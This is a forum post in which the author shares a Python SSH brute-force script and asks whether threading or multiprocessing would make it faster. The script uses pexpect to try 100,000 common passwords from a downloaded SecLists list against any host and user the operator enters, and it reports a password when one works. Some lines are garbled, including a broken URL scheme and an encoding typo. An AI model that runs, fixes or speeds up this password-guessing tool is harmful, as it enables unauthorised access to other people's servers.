Hello, I wrote an ssh brute-forcer but it's too slow to be useful, I searched ways to fast it up but I don't know if it's better to use the Threading module or the Multiprocessing module.
Code
#!/usr/bin/python
import pexpect
from termcolor import colored
from urllib.request import urlopen
PROMPT = ["# ", ">>> ", "> ", "\$ ", "~$ "]
def connect(user, host, password):
connStr = "ssh " + user + "@" + host
child = pexpect.spawn(connStr)
ret = child.expect([pexpect.TIMEOUT,"[P|p]assword: "])
if ret == 0:
print(colored("[-] Unable to connect","red"))
return
if ret == 1:
child.sendline(password)
child.expect(PROMPT, timeout=0.015)
return child
def main():
host = input(colored("
[*] Enter host: ","blue"))
user = input(colored("
[*]Enter user: ","blue"))
passlist = str(urlopen('ht/raw.githubusercontent.com/danielmiessler/SecLists/master/Passwords/Common-Credentials/10-million-password-list-top-100000.txt').read(), 'utf-_8')
for password in passlist.split('\n'):
try:
connect(user, host, password)
print (colored(f"[+] Password Found: {password}", "green"))
except:
pass
print (colored("[-] Password Not In List","red"))
main()


![[Image: Iu0EfTL.gif]](https://i.imgur.com/Iu0EfTL.gif)
